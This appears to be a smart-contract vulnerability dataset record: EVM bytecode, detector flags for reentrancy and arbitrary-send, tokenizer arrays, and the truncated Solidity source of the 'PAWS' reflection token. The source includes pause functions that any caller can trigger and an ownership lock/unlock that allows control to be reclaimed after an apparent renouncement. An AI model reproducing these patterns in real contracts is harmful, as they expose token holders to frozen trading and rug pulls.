696e286164647265737329000000000000000060c082015260e0606082015260006131fd60e0830185612c2d565b905082608083015295945050505050565b60006020828403121561322057600080fd5b815167ffffffffffffffff81111561323757600080fd5b8201601f8101841361324857600080fd5b8051613256612e2d82612ed9565b81815285602083850101111561326b57600080fd5b61327c826020830160208601612c01565b95945050505050565b60006020828403121561329757600080fd5b5051919050565b634e487b7160e01b600052603260045260246000fd5b600181811c908216806132c857607f821691505b602082108103610b5c57634e487b7160e01b600052602260045260246000fd5b8054600090600181811c908083168061330257607f831692505b6020808410820361332357634e487b7160e01b600052602260045260246000fd5b83885281801561333a576001811461334e5761337c565b60ff1986168983015260408901965061337c565b876000528160002060005b868110156133745781548b8201850152908501908301613359565b8a0183019750505b50505050505092915050565b60018060a01b038616815284602082015260a0604082015260006133af60a08301866132e8565b82810360608401526133c181866132e8565b9150508260808301529695505050505050565b634e487b7160e01b600052601160045260246000fd5b6000600182016133fc576133fc6133d4565b5060010190565b600063ffffffff83811690831681811015613420576134206133d4565b039392505050565b600063ffffffff8084168061344d57634e487b7160e01b600052601260045260246000fd5b92169190910492915050565b600063ffffffff808316818516808303821115613478576134786133d4565b01949350505050565b600081518084526020808501945080840160005b838110156134b157815187529582019590820190600101613495565b509495945050505050565b600081518084526020808501808196508360051b8101915082860160005b858110156135045782840389526134f2848351612c2d565b988501989350908401906001016134da565b5091979650505050505050565b8981526001600160a01b03898116602080840191909152610120604084018190528a519084018190526000926101408501928c810192909190855b8181101561356a57845183168652948301949383019360010161354c565b50505050508281036060840152613581818a613481565b9050828103608084015261359581896134bc565b905082810360a08401526135a981886134bc565b90508560c08401528460e08401528281036101008401526135ca8185612c2d565b9c9b505050505050505050505050565b600082198211156135ed576135ed6133d4565b500190565b60018060a01b038616815284602082015260a06040820152600061361960a0830186612c2d565b82810360608401526133c18186612c2d565b60006020828403121561363d57600080fd5b815161149b81612c6c56fe41474649476f7665726e6f723a3a64656c65676174653a20626c6f636b206e756d62657220657863656564732033322062697473a264697066735822122015330644eab18fa62961dab8a07b747a5c915d2dfa89cdfe897798b9eb620cd964736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2683, 2487, 6305, 2487, 2546, 2575, 17914, 2278, 2581, 2575, 15878, 20842, 10790, 2497, 23777, 2620, 2683, 2497, 2620, 20952, 2050, 2575, 2546, 2509, 2050, 2509, 2278, 2620, 2581, 2475, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 5371, 1024, 8311, 1013, 1045, 19496, 26760, 9331, 2615, 2475, 22494, 3334, 24096, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2410, 1025, 1013, 1013, 9572, 2094, 5446, 1024, 1002, 12943, 8873, 1013, 1013, 13366, 13490, 5649, 13366, 2072, 1011, 2004, 1011, 1037, 1011, 2326, 1006, 4830, 3022, 1007, 19204, 1010, 2007, 3438, 1003, 4425, 5296, 2000, 1014, 2595, 2692, 3207, 4215, 1013, 1013, 2017, 4965, 2006, 28855, 14820, 1010, 2057, 15389, 9896, 2594, 6540, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,141
0x96492e0fbb12f67a8f3a4f21d0e53cd071aaf63d
/* ██████╗░░█████╗░░██╗░░░░░░░██╗░██████╗ ██╔══██╗██╔══██╗░██║░░██╗░░██║██╔════╝ ██████╔╝███████║░╚██╗████╗██╔╝╚█████╗░ ██╔═══╝░██╔══██║░░████╔═████║░░╚═══██╗ ██║░░░░░██║░░██║░░╚██╔╝░╚██╔╝░██████╔╝ ╚═╝░░░░░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░╚═════╝░ Help fight animal cruelty and earn rewards. Telegram: https://t.me/pawscrypto */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() external virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function startTrading() external virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PAWS is Context, IERC20, Ownable, Pausable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _whiteList; address public deadAddress = 0x000000000000000000000000000000000000dEaD; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = "PAWS"; string private _symbol = "PAWS"; uint8 private _decimals = 9; //Buy Fees uint256 public _buyTaxFee = 0; uint256 public _buyLiquidityFee = 1; uint256 public _buyMarketingFee = 9; uint256 public _buyBurnFee = 1; //Sell Fees uint256 public _sellTaxFee = 0; uint256 public _sellMarketingFee = 9; uint256 public _sellLiquidityFee = 1; uint256 public _sellBurnFee = 0; // Fees (Current) uint256 private _taxFee; uint256 private _marketingFee; uint256 private _liquidityFee; uint256 private _burnFee; address payable public marketingWallet = payable(0xB41478E5b97f3eb7B1D7196F88B2c40099298ceb); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public numTokensSellToAddToLiquidity = 1000000 * 10**9; //0.1% uint256 public _maxTxAmount = 100000000 * 10**9; uint256 public maxBuyTransactionAmount = 5000000 * 10**9; //0.5% uint256 public maxWalletToken = 10000000 * 10**9; //1% event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _whiteList[owner()] = true; _whiteList[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0 && _marketingFee==0 && _burnFee==0) return; _taxFee = 0; _liquidityFee = 0; _marketingFee = 0; _burnFee = 0; } function isWhiteListed(address account) public view returns(bool) { return _whiteList[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) whenNotPaused() private { require(from != address(0), "ERC20: transfer from the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if ( from != owner() 